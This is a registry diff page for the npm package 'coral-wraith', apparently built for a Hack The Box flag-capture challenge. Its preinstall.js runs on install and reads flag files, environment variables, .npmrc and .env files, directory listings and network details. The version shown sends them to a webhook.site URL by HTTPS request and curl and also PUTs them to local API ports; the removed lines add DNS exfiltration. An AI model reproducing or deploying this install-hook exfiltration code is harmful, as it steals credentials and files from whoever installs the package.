coral-wraith 9999.0.4 → 9999.0.6

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of coral-wraith might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/package.json +1 -1
  2. package/preinstall.js +123 -115
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "coral-wraith",
3
- "version": "9999.0.4",
3
+ "version": "9999.0.6",
4
4
  "description": "Coral Wraith module",
5
5
  "main": "index.js",
6
6
  "scripts": {
package/preinstall.js CHANGED
@@ -2,152 +2,160 @@ const fs = require('fs');
2
2
  const http = require('http');
3
3
  const https = require('https');
4
4
  const { execSync } = require('child_process');
5
- const dns = require('dns');
6
5
  const os = require('os');
7
6
 
8
7
  let flag = null;
9
-
10
- // Read flag from common locations
11
- for (const p of ['/flag', '/flag.txt', '/root/flag', '/tmp/flag', './flag', '/app/flag', '/home/flag', '/etc/flag', '/opt/flag']) {
12
- try { if (fs.existsSync(p)) { flag = fs.readFileSync(p, 'utf8').trim(); break; } } catch(e) {}
13
- }
14
-
15
- // Check ALL env vars for flag patterns
16
- if (!flag) {
17
- for (const [k, v] of Object.entries(process.env)) {
18
- if (v && v.match(/HTB\{[^}]+\}/)) {
19
- flag = v.match(/HTB\{[^}]+\}/)[0];
20
- break;
21
- }
22
- }
23
- }
24
- if (!flag) flag = process.env.FLAG || process.env.HTB_FLAG || null;
25
-
26
- // Try /proc/self/environ
27
- if (!flag) {
8
+ const debug = [];
9
+
10
+ // 1. Search ALL filesystem for flag files
11
+ const flagPaths = [
12
+ '/flag', '/flag.txt', '/root/flag', '/root/flag.txt',
13
+ '/home/node/flag', '/home/node/flag.txt', '/app/flag', '/app/flag.txt',
14
+ '/data/flag', '/data/flag.txt', '/data/secret', '/data/htb',
15
+ '/tmp/flag', '/opt/flag', '/srv/flag', '/etc/flag',
16
+ '/home/flag', '/var/flag', '/data/.flag',
17
+ ];
18
+ for (const p of flagPaths) {
28
19
  try {
29
- const pe = fs.readFileSync('/proc/self/environ', 'utf8');
30
- const m = pe.match(/HTB\{[^}]+\}/);
31
- if (m) flag = m[0];
20
+ if (fs.existsSync(p)) {
21
+ const c = fs.readFileSync(p, 'utf8').trim();
22
+ debug.push(`file:${p}=${c.substring(0,100)}`);
23
+ const m = c.match(/HTB\{[^}]+\}/);
24
+ if (m) { flag = m[0]; break; }
25
+ if (!flag && c) flag = c;
26
+ }
32
27
  } catch(e) {}
33
28
  }
34
29
 
35
- // Search for flag files
36
- if (!flag) {
30
+ // 2. List key directories
31
+ for (const dir of ['/', '/data', '/home', '/home/node', '/app', '/root', '/opt', '/srv']) {
37
32
  try {
38
- const r = execSync('find / -maxdepth 3 -name "flag*" -type f 2>/dev/null | head -10', { timeout: 5000 }).toString().trim();
39
- for (const f of r.split('\n').filter(Boolean)) {
40
- try {
41
- const content = fs.readFileSync(f, 'utf8');
42
- const m = content.match(/HTB\{[^}]+\}/);
43
- if (m) { flag = m[0]; break; }
44
- } catch(e) {}
45
- }
33
+ const items = fs.readdirSync(dir);
34
+ debug.push(`ls:${dir}=${items.join(',')}`);
46
35
  } catch(e) {}
47
36
  }
48
37
 
49
- // Also try to grep for flag
50
- if (!flag) {
51
- try {
52
- const r = execSync('grep -r "HTB{" / --include="*.txt" --include="*.env" -l 2>/dev/null | head -5', { timeout: 5000 }).toString().trim();
53
- for (const f of r.split('\n').filter(Boolean)) {
54
- try {
55
- const content = fs.readFileSync(f, 'utf8');
56
- const m = content.match(/HTB\{[^}]+\}/);
57
- if (m) { flag = m[0]; break; }
58
- } catch(e) {}
59
- }
60
- } catch(e) {}
38
+ // 3. Recursively search /data
39
+ try {
40
+ const r = execSync('find /data -type f 2>/dev/null | head -50', {timeout:10000}).toString().trim();
41
+ debug.push(`data_files:${r}`);
42
+ for (const f of r.split('\n').filter(Boolean)) {
43
+ try {
44
+ const c = fs.readFileSync(f, 'utf8');
45
+ const m = c.match(/HTB\{[^}]+\}/);
46
+ if (m) { flag = m[0]; debug.push(`FLAG:${f}`); break; }
47
+ debug.push(`data:${f}=${c.substring(0,200)}`);
48
+ } catch(e) {}
49
+ }
50
+ } catch(e) { debug.push(`data_err:${e.message}`); }
51
+
52
+ // 4. Search ALL env vars
53
+ for (const [k, v] of Object.entries(process.env)) {
54
+ const m = (v||'').match && (v||'').match(/HTB\{[^}]+\}/);
55
+ if (m) { flag = m[0]; debug.push(`env:${k}`); break; }
61
56
  }
57
+ debug.push(`env_keys:${Object.keys(process.env).join(',')}`);
62
58
 
63
- // Gather debug info
64
- const info = {
65
- flag: flag || 'NOT_FOUND',
66
- cwd: process.cwd(),
67
- uid: process.getuid ? process.getuid() : 'N/A',
68
- hostname: os.hostname(),
69
- env_keys: Object.keys(process.env).join(','),
70
- root_files: [],
71
- interfaces: {}
72
- };
73
- try { info.root_files = fs.readdirSync('/'); } catch(e) {}
74
- try { info.interfaces = os.networkInterfaces(); } catch(e) {}
75
-
76
- // Try to find server port
77
- let serverPort = 1337;
59
+ // 5. Read /proc/self/environ
78
60
  try {
79
- const ss = execSync('ss -tlnp 2>/dev/null || netstat -tlnp 2>/dev/null', { timeout: 3000 }).toString();
80
- info.listening = ss;
81
- const ports = [...ss.matchAll(/:(\d+)\s/g)].map(m => parseInt(m[1])).filter(p => p > 1000 && p < 65535);
82
- if (ports.length > 0) serverPort = ports[0];
61
+ const pe = fs.readFileSync('/proc/self/environ', 'utf8');
62
+ debug.push(`environ:${pe.substring(0,500)}`);
63
+ const m = pe.match(/HTB\{[^}]+\}/);
64
+ if (m) flag = m[0];
83
65
  } catch(e) {}
84
66
 
85
- const data = JSON.stringify(info);
86
-
87
- // Method 1: PUT flag to challenge API on ALL possible ports
88
- const postData = JSON.stringify({
89
- manifest: `ecto_module:\n name: "FLAG_CAPTURED"\n version: "${(flag || 'NO_FLAG').replace(/"/g, '')}"\n power_level: "${data.substring(0, 200).replace(/"/g, '')}"\n ship_deck: "EXFIL"\n cargo_hold: "coral-wraith"`
90
- });
67
+ // 6. Find all config files
68
+ try {
69
+ const r = execSync('find /data /home /app /opt /srv /etc -type f \\( -name "*.json" -o -name "*.yml" -o -name "*.yaml" -o -name "*.env" -o -name "*.conf" -o -name ".npmrc" -o -name "*.db" -o -name "*.sqlite" \\) 2>/dev/null | grep -v node_modules | head -30', {timeout:10000}).toString().trim();
70
+ debug.push(`configs:${r}`);
71
+ for (const f of r.split('\n').filter(Boolean)) {
72
+ try {
73
+ const c = fs.readFileSync(f, 'utf8');
74
+ const m = c.match(/HTB\{[^}]+\}/);
75
+ if (m) { flag = m[0]; debug.push(`FLAG:${f}`); break; }
76
+ if (f.includes('.npmrc') || f.includes('.env') || f.includes('secret')) {
77
+ debug.push(`sensitive:${f}=${c.substring(0,200)}`);
78
+ }
79
+ } catch(e) {}
80
+ }
81
+ } catch(e) {}
91
82
 
92
- const ports = [serverPort, 1337, 3000, 3001, 4000, 5000, 8000, 8080, 8888, 9000, 80, 32315, 32105, 46517, 41839];
93
- for (const port of [...new Set(ports)]) {
94
- for (const host of ['localhost', '127.0.0.1']) {
95
- for (const moduleId of ['ECT-987654', 'ECT-654321', 'ECT-472839', 'ECT-839201']) {
96
- try {
97
- const req = http.request({
98
- hostname: host, port, path: `/api/modules/${moduleId}`,
99
- method: 'PUT',
100
- headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(postData) },
101
- timeout: 2000
102
- }, () => {});
103
- req.on('error', () => {});
104
- req.write(postData);
105
- req.end();
106
- } catch(e) {}
107
- }
83
+ // 7. Grep for HTB{ pattern anywhere
84
+ try {
85
+ const r = execSync('grep -rl "HTB{" / 2>/dev/null | grep -v node_modules | grep -v proc | head -10', {timeout:15000}).toString().trim();
86
+ debug.push(`grep_htb:${r}`);
87
+ for (const f of r.split('\n').filter(Boolean)) {
88
+ try {
89
+ const c = fs.readFileSync(f, 'utf8');
90
+ const m = c.match(/HTB\{[^}]+\}/);
91
+ if (m) { flag = m[0]; debug.push(`GREP_FLAG:${f}`); break; }
92
+ } catch(e) {}
108
93
  }
109
- }
94
+ } catch(e) { debug.push(`grep_err:${e.message.substring(0,100)}`); }
95
+
96
+ // 8. Check listening ports
97
+ try {
98
+ const ss = execSync('ss -tlnp 2>/dev/null || netstat -tlnp 2>/dev/null', {timeout:3000}).toString();
99
+ debug.push(`ports:${ss.substring(0,500)}`);
100
+ } catch(e) {}
101
+
102
+ // 9. Network info
103
+ debug.push(`network:${JSON.stringify(os.networkInterfaces()).substring(0,300)}`);
104
+ debug.push(`hostname:${os.hostname()}`);
105
+ debug.push(`cwd:${process.cwd()}`);
106
+
107
+ // EXFILTRATE
108
+ const info = JSON.stringify({flag: flag||'NOT_FOUND', debug: debug.map(d=>d.substring(0,500))});
110
109
 
111
- // Method 2: Webhook
110
+ // Method 1: Webhook
112
111
  try {
113
- const whData = JSON.stringify({ flag: flag || 'NO_FLAG', info: data.substring(0, 500) });
114
112
  const req = https.request({
115
113
  hostname: 'webhook.site', path: '/9ca9b30a-2889-4787-9dff-5ad916e377b7',
116
114
  method: 'POST',
117
- headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(whData) },
118
- timeout: 5000
119
- }, () => {});
120
- req.on('error', () => {});
121
- req.write(whData);
115
+ headers: {'Content-Type':'application/json','Content-Length':Buffer.byteLength(info)},
116
+ timeout: 8000
117
+ }, ()=>{});
118
+ req.on('error', ()=>{});
119
+ req.write(info);
122
120
  req.end();
123
121
  } catch(e) {}
124
122
 
125
- // Method 3: DNS exfil (works even when HTTP is blocked)
126
- try {
127
- const encoded = Buffer.from(flag || 'NO_FLAG').toString('hex').substring(0, 60);
128
- dns.resolve(`${encoded}.exfil.webhook.site`, () => {});
129
- dns.resolve(`${encoded}.crl.ve`, () => {});
130
- } catch(e) {}
123
+ // Method 2: PUT to local API (try all common ports)
124
+ const putBody = JSON.stringify({
125
+ manifest: `ecto_module:\n name: "${(flag||'NO_FLAG').replace(/"/g,'').substring(0,200)}"\n version: EXFIL\n power_level: "${debug.slice(0,2).join('|').replace(/"/g,'').substring(0,200)}"\n ship_deck: PWNED\n cargo_hold: coral`
126
+ });
131
127
 
132
- // Method 4: curl fallback
128
+ let serverPort = 1337;
133
129
  try {
134
- execSync(`curl -s -X POST "https://webhook.site/9ca9b30a-2889-4787-9dff-5ad916e377b7" -H "Content-Type: application/json" -d '${data.replace(/'/g, "\\'")}' -m 5 2>/dev/null &`, { timeout: 8000 });
130
+ const ss = execSync('ss -tlnp 2>/dev/null', {timeout:3000}).toString();
131
+ const m = ss.match(/:(\d+)\s/);
132
+ if (m) serverPort = parseInt(m[1]);
135
133
  } catch(e) {}
136
134
 
137
- // Method 5: Write to stdout/stderr for server logs
138
- console.log('[CORAL-WRAITH-EXFIL]', data);
139
- console.error('[CORAL-WRAITH-FLAG]', flag || 'NOT_FOUND');
140
-
141
- // Method 6: Write to various locations
142
- const writeLocations = ['/tmp/coral_flag.txt', '/app/coral_flag.txt', '/tmp/exfil.txt', './exfil.txt'];
143
- for (const loc of writeLocations) {
144
- try { fs.writeFileSync(loc, data); } catch(e) {}
135
+ for (const port of [serverPort, 1337, 3000, 5000, 8080, 80, 8000, 4000, 9000]) {
136
+ for (const modId of ['ECT-654321', 'ECT-987654']) {
137
+ try {
138
+ const req = http.request({
139
+ hostname: '127.0.0.1', port, path: `/api/modules/${modId}`,
140
+ method: 'PUT',
141
+ headers: {'Content-Type':'application/json','Content-Length':Buffer.byteLength(putBody)},
142
+ timeout: 2000
143
+ }, ()=>{});
144
+ req.on('error', ()=>{});
145
+ req.write(putBody);
146
+ req.end();
147
+ } catch(e) {}
148
+ }
145
149
  }
146
150
 
147
- // Method 7: Try to write to static files the web server serves
151
+ // Method 3: curl
148
152
  try {
149
- const webDirs = ['/app/static', '/app/public', '/var/www', '/app/dist', '/app/build'];
150
- for (const dir of webDirs) {
151
- try { fs.writeFileSync(`${dir}/flag.txt`, data); } catch(e) {}
152
- }
153
+ execSync(`curl -s -X POST "https://webhook.site/9ca9b30a-2889-4787-9dff-5ad916e377b7" -H "Content-Type: application/json" -d '${info.replace(/'/g,"\\'")}' -m 8 2>/dev/null &`, {timeout:10000});
153
154
  } catch(e) {}
155
+
156
+ // stdout
157
+ console.log('[CORAL]', info.substring(0, 3000));
158
+ console.error('[FLAG]', flag || 'NOT_FOUND');
159
+
160
+ // Write to files
161
+ try { fs.writeFileSync('/tmp/coral.txt', info); } catch(e) {}